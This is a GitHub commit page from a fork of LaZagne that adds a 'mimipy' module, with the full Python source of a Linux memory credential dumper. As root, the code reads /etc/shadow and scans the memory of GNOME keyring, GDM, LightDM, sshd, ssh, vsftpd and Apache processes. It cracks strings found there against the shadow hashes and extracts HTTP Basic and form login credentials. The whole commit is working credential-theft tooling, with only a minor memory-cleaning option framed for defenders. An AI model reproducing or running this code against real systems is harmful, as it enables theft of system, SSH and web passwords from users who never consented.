forked from AlessandroZ/LaZagne
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
new module mimipy (system pwd retrieved from memory)
- Loading branch information
1 parent
69cc55e
commit 4151304
Showing
2 changed files
with
385 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,33 @@ | ||
# Special thanks to @n1nj4sec and @huntergregal for their work | ||
# Their code have been used to build this module | ||
from lazagne.config.write_output import print_debug | ||
from lazagne.config.moduleInfo import ModuleInfo | ||
from mimipy_functions import mimipy_loot_passwords | ||
import os | ||
|
||
class Mimipy(ModuleInfo): | ||
def __init__(self): | ||
options = {'command': '--mimi', 'action': 'store_true', 'dest': 'mimipy', 'help': 'System passwords retrieved from memory'} | ||
ModuleInfo.__init__(self, 'mimipy', 'memory', options) | ||
|
||
def root_access(self): | ||
if os.getuid() != 0: | ||
return False | ||
return True | ||
|
||
def run(self, software_name = None): | ||
if not self.root_access(): | ||
print_debug('INFO', 'You need more privileges (run it with sudo)\n') | ||
return | ||
|
||
opt="nsrx" | ||
pwdFound = [] | ||
for t, process, user, passwd in mimipy_loot_passwords(optimizations=opt): | ||
pwdFound.append( | ||
{ | ||
'Process' : str(process), | ||
'Login' : str(user), | ||
'Password' : str(passwd), | ||
} | ||
) | ||
return pwdFound |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,352 @@ | ||
#!/usr/bin/env python | ||
# -*- coding: UTF8 -*- | ||
# Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu) | ||
# mimipy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms | ||
|
||
|
||
""" | ||
Author: Nicolas VERDIER (contact@n1nj4.eu) | ||
Original idea from @huntergregal (https://github.com/huntergregal/mimipenguin) | ||
This is a port in python of @huntergregal's bash script mimipenguin.sh with some improvments : | ||
- possibility to clean passwords found from memory | ||
- possibility to search for any trace of your password in all your processes | ||
- possibility to scan a process by pid | ||
- add some additional processes to scan like lightDM | ||
You can find the bleeding edge version of mimipy here : https://github.com/n1nj4sec/mimipy | ||
""" | ||
import sys, os | ||
import urllib2 | ||
import crypt | ||
import re | ||
import argparse | ||
import logging | ||
import time | ||
import random | ||
import traceback | ||
import base64 | ||
|
||
class VersionError(Exception): | ||
pass | ||
|
||
try: | ||
from memorpy import * | ||
try: | ||
from memorpy.version import version as memorpy_version | ||
except: | ||
memorpy_version=(0,0) | ||
if memorpy_version<(1,5): | ||
logging.warning("memorpy version is too old, please update !") | ||
raise VersionError("memorpy version is too old, please update !") | ||
|
||
except ImportError as e: | ||
logging.warning("%s\ninstall with: \"pip install https://github.com/n1nj4sec/memorpy/archive/master.zip\""%e) | ||
raise e | ||
|
||
LOOK_AFTER_SIZE=1000*10**3 | ||
LOOK_BEFORE_SIZE=500*10**3 | ||
|
||
|
||
|
||
|
||
def colorize(s, color="grey"): | ||
if s is None: | ||
return "" | ||
s=str(s) | ||
res=s | ||
COLOR_STOP="\033[0m" | ||
if color.lower()=="random": | ||
color=random.choice(["blue","red","green","yellow"]) | ||
if color.lower()=="blue": | ||
res="\033[34m"+s+COLOR_STOP | ||
if color.lower()=="red": | ||
res="\033[31m"+s+COLOR_STOP | ||
if color.lower()=="green": | ||
res="\033[32m"+s+COLOR_STOP | ||
if color.lower()=="yellow": | ||
res="\033[33m"+s+COLOR_STOP | ||
if color.lower()=="grey": | ||
res="\033[37m"+s+COLOR_STOP | ||
if color.lower()=="darkgrey": | ||
res="\033[1;30m"+s+COLOR_STOP | ||
return res | ||
|
||
|
||
def get_shadow_hashes(): | ||
hashes=[] | ||
with open('/etc/shadow', 'rb') as f: | ||
for line in f: | ||
tab=line.split(":") | ||
if len(tab[1])>10: | ||
hashes.append((tab[0],tab[1])) | ||
return hashes | ||
|
||
|
||
def memstrings(mw, start_offset=None, end_offset=None, optimizations=''): | ||
for _,x in mw.mem_search(r"([\x20-\x7e]{6,50})[^\x20-\x7e]", ftype='re', start_offset=start_offset, end_offset=end_offset, optimizations=optimizations): | ||
yield x | ||
|
||
|
||
|
||
passwords_found=set() | ||
def password_found(desc, process, user, password): | ||
global passwords_found | ||
if (process, user, password) not in passwords_found: | ||
passwords_found.add((process, user, password)) | ||
print colorize("%s : "%desc, color="green") | ||
print colorize("\t- Process\t: %s"%process, color="grey") | ||
print colorize("\t- Username\t: %s"%user, color="grey") | ||
print colorize("\t- Password\t: %s"%password, color="grey") | ||
|
||
|
||
def password_list_match(password_list, near): | ||
for passwd in password_list: | ||
if near.search(passwd): | ||
return True | ||
return False | ||
|
||
def cleanup_string(s): | ||
ns="" | ||
for c in s: | ||
if ord(c)<0x20 or ord(c)>0x7e: | ||
break | ||
ns+=c | ||
return ns | ||
|
||
def get_strings_around(mw, addr, string_at_addr, max_strings=30): | ||
strings_list=[] | ||
logging.debug("looking for strings around %s from %s to %s"%(hex(addr), int(addr-LOOK_BEFORE_SIZE), int(addr-LOOK_AFTER_SIZE))) | ||
for o in memstrings(mw, start_offset=int(addr-LOOK_BEFORE_SIZE), end_offset=int(addr+LOOK_AFTER_SIZE)): | ||
s=cleanup_string(o.read(type='string', maxlen=51, errors='ignore')) | ||
strings_list.append(s) | ||
if len(strings_list)>=30 and string_at_addr in strings_list[max_strings/2]: | ||
break | ||
elif len(strings_list)>30: | ||
strings_list=strings_list[1:] | ||
return strings_list | ||
|
||
def search_password(optimizations='nsrx'): | ||
import getpass | ||
mypasswd=getpass.getpass("search your password: ") | ||
for procdic in Process.list(): | ||
name=procdic["name"] | ||
pid=int(procdic["pid"]) | ||
if pid==os.getpid(): | ||
continue | ||
if "gnome-terminal-server" in name: | ||
continue #avoid false positives when password has been printed to screen by this script x) | ||
logging.info("Searching pass in %s (%s)"%(name, pid)) | ||
try: | ||
with MemWorker(pid=pid) as mw: | ||
#for _,x in mw.mem_search(r"\$[0-9][a-z]?\$(?:[a-zA-Z0-9\./\-\+]{4,}\$)?[a-zA-Z0-9\./\-\+]{20,}", ftype='re'): | ||
# h=x.read(type='string', maxlen=300) | ||
# print "hash found in %s (%s) : %s"%(name, pid, h) | ||
# strings_list=get_strings_around(mw, x, h) | ||
# print "strings found around : %s"%strings_list | ||
# if not strings_list: | ||
# x.dump(before=200, size=400) | ||
for x in mw.mem_search(mypasswd, optimizations=optimizations): | ||
print colorize("[+] password found in process %s (%s) : %s !"%(name, pid, x), color="green") | ||
x.dump(before=1000, size=2000) | ||
print "strings found around : " | ||
strings_list=get_strings_around(mw, x, mypasswd) | ||
print "strings found around : %s"%strings_list | ||
#print "strings where the password's address is referenced :" | ||
#for _,o in mw.search_address(x): | ||
# o.dump(before=200, size=400) | ||
#print "done" | ||
|
||
except Exception as e: | ||
logging.error("Error scanning process %s (%s): %s"%(name, pid, e)) | ||
logging.debug(traceback.format_exc()) | ||
|
||
def group_search(name, pid, rule, clean=False, cred_cb=None, optimizations='nsrx'): | ||
logging.info("Analysing process %s (%s) for passwords ..."%(name, pid)) | ||
with MemWorker(name=name, pid=pid) as mw: | ||
for service, x in mw.mem_search(rule["groups"], ftype='ngroups', optimizations=optimizations): | ||
user="" | ||
password="" | ||
if "basic" in x: | ||
try: | ||
user, password=base64.b64decode(x["basic"]).split(":",1) | ||
except: | ||
pass | ||
elif "Login" in x and "Password" in x: | ||
user=x["Login"] | ||
password=x["Password"] | ||
else: | ||
password=str(x) | ||
|
||
yield (rule["desc"]+" "+service, user, password) | ||
|
||
|
||
def test_shadow(name, pid, rule, clean=False, cred_cb=None, optimizations='nsrx'): | ||
logging.info("Analysing process %s (%s) for shadow passwords ..."%(name, pid)) | ||
password_tested=set() #to avoid hashing the same string multiple times | ||
with MemWorker(name=name, pid=pid) as mw: | ||
scanned_segments=[] | ||
for _,match_addr in mw.mem_search(rule["near"], ftype='re', optimizations=optimizations): | ||
password_list=[] | ||
total=0 | ||
start=int(match_addr-LOOK_AFTER_SIZE) | ||
end=int(match_addr+LOOK_AFTER_SIZE) | ||
for s,e in scanned_segments: | ||
if end < s or start > e: | ||
continue #no collision | ||
elif start >=s and e >= start and end >= e: | ||
logging.debug("%s-%s reduced to %s-%s"%(hex(start), hex(end), hex(e), hex(end))) | ||
start=e-200 #we only scan a smaller region because some of it has already been scanned | ||
logging.debug("looking between offsets %s-%s"%(hex(start),hex(end))) | ||
scanned_segments.append((start, end)) | ||
for x in memstrings(mw, start_offset=start, end_offset=end, optimizations=optimizations): | ||
passwd=cleanup_string(x.read(type='string', maxlen=51, errors='ignore')) | ||
total+=1 | ||
password_list.append(passwd) | ||
if len(password_list)>40: | ||
password_list=password_list[1:] | ||
if password_list_match(password_list, rule["near"]): | ||
for p in password_list: | ||
if p not in password_tested: | ||
password_tested.add(p) | ||
for user, h in shadow_hashes: | ||
if crypt.crypt(p, h) == h: | ||
yield (rule["desc"], user, p) | ||
if clean: | ||
logging.info("cleaning password from memory in proc %s at offset: %s ..."%(name, hex(x))) | ||
x.write("x"*len(p)) | ||
shadow_hashes=[] | ||
def mimipy_loot_passwords(clean=False, optimizations='nsrx'): | ||
global shadow_hashes | ||
shadow_hashes=get_shadow_hashes() | ||
for procdic in Process.list(): | ||
name=procdic["name"] | ||
pid=int(procdic["pid"]) | ||
for rule in rules: | ||
if re.search(rule["process"], name): | ||
start_time=time.time() | ||
try: | ||
for t, u, p in rule["func"](name, pid, rule, clean=clean, optimizations=optimizations): | ||
yield (t, name, u, p) | ||
except Exception as e: | ||
logging.warning("[-] %s"%e) | ||
logging.debug(traceback.format_exc()) | ||
finally: | ||
logging.info("Process %s analysed in %s seconds"%(name, time.time()-start_time)) | ||
|
||
HTTP_AUTH_REGEX = [ | ||
("Basic", re.compile(r"(?:WWW-|Proxy-)?Authorization:\s+Basic\s+(?P<basic>[a-zA-Z0-9/\+]+={0,3})", re.IGNORECASE)), #TODO: digest, ntlm, ... hashes are still nice | ||
("GET/POST", re.compile(r"(:?e?mail(?:_?adress)?|log(?:in)?|user(?:name)?|session_key|user%5Bemail%5D)=(?P<Login>[a-zA-Z0-9%_+*.:-]{0,25})&.{0,10}?(?:[a-z]{1,10}_|user)?(?:pa?s?s?w?o?r?d?|mdp|%5Bpassword%5D)=(?P<Password>[a-zA-Z0-9%_+*.:-]{0,25})"), re.IGNORECASE) | ||
] | ||
|
||
rules = [ | ||
{ | ||
"desc" : "[SYSTEM - GNOME]", | ||
"process" : r"gnome-keyring-daemon|gdm-password|gdm-session-worker", | ||
"near" : r"libgcrypt\.so\..+|libgck\-1\.so\.0|_pammodutil_getpwnam_|gkr_system_authtok", | ||
"func" : test_shadow, | ||
}, | ||
{ | ||
"desc" : "[SYSTEM - LightDM]", # Ubuntu/xubuntu login screen :) https://doc.ubuntu-fr.org/lightdm | ||
"process" : r"lightdm", | ||
"near" : r"_pammodutil_getpwnam_|gkr_system_authtok", | ||
"func" : test_shadow, | ||
}, | ||
{ | ||
"desc" : "[SYSTEM - SSH Server]", | ||
"process" : r"/sshd$", | ||
"near" : r"sudo.+|_pammodutil_getpwnam_", | ||
"func" : test_shadow, | ||
}, | ||
{ | ||
"desc" : "[SSH Client]", | ||
"process" : r"/ssh$", | ||
"near" : r"sudo.+|/tmp/ICE-unix/[0-9]+", | ||
"func" : test_shadow, | ||
}, | ||
{ | ||
"desc" : "[SYSTEM - VSFTPD]", | ||
"process" : r"vsftpd", | ||
"near" : r"^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$", | ||
"func" : test_shadow, | ||
}, | ||
{ | ||
"desc" : "[HTTP]", | ||
"process" : r"/apache2", | ||
"func" : group_search, | ||
"groups" : HTTP_AUTH_REGEX, | ||
}, | ||
# { | ||
# "desc" : "[Browser]", | ||
# "process" : r"firefox|iceweasel|chromium|chrome", | ||
# "func" : group_search, | ||
# "groups" : HTTP_AUTH_REGEX, | ||
# }, | ||
] | ||
|
||
REGEX_TYPE=type(re.compile("^plop$")) | ||
#precompile regexes to optimize speed | ||
for x in rules: | ||
if "near" in x: | ||
if type(x["near"])!=REGEX_TYPE: | ||
x["near"]=re.compile(x["near"]) | ||
if "process" in x: | ||
if type(x["process"])!=REGEX_TYPE: | ||
x["process"]=re.compile(x["process"]) | ||
|
||
if __name__=="__main__": | ||
parser = argparse.ArgumentParser(description=""" | ||
mimipy can loot passwords from memory or overwrite them to mitigate mimipenguin\'s dumps ! | ||
Author: Nicolas VERDIER (contact@n1nj4.eu) | ||
orginal mimipenguin.sh script and idea from @huntergregal | ||
Bleeding Edge version: https://github.com/n1nj4sec/mimipy | ||
""", formatter_class=argparse.RawTextHelpFormatter) | ||
parser.add_argument('--clean', action='store_true', help='@blueteams protect yourself and clean found passwords from memory ! You might want to regularly run this on your workstation/servers') | ||
parser.add_argument('-v', '--verbose', action='store_true', help='be more verbose !') | ||
parser.add_argument('-n', '--no-optimize', action='store_true', help='disable optimisations (search the whole memory whatever region perms are) (slower)') | ||
parser.add_argument('-p', '--pid', type=int, help='choose the process\'s pid to scan instead of automatic selection') | ||
parser.add_argument('--search-password', action='store_true', help='prompt for your password and search it in all your processes !.') | ||
args = parser.parse_args() | ||
|
||
#logging.basicConfig(filename='example.log', level=logging.DEBUG) | ||
if args.verbose: | ||
logging.basicConfig(stream=sys.stderr, level=logging.INFO) | ||
else: | ||
logging.basicConfig(stream=sys.stderr, level=logging.WARNING) | ||
|
||
total_time=time.time() | ||
|
||
if os.geteuid()!=0: | ||
logging.error("mimipy needs root ;)") | ||
exit(1) | ||
|
||
opt="nsrx" | ||
if args.no_optimize: | ||
logging.info("Optimizations disabled") | ||
opt='' | ||
|
||
if args.search_password: | ||
search_password(optimizations=opt) | ||
exit(0) | ||
|
||
if args.pid: | ||
for procdic in Process.list(): | ||
name=procdic["name"] | ||
pid=int(procdic["pid"]) | ||
if pid==args.pid: | ||
try: | ||
start_time=time.time() | ||
for rule in rules: | ||
rule["func"](name, pid, rule, clean=args.clean, optimizations=opt) | ||
except Exception as e: | ||
logging.warning("[-] %s"%e) | ||
finally: | ||
logging.info("Process %s analysed in %s seconds"%(name, time.time()-start_time)) | ||
else: | ||
for t, process, u, passwd in mimipy_loot_passwords(optimizations=opt, clean=args.clean): | ||
password_found(t, process, u, passwd) | ||
logging.info("Script executed in %s seconds"%(time.time()-total_time)) | ||
|
||
|
||
|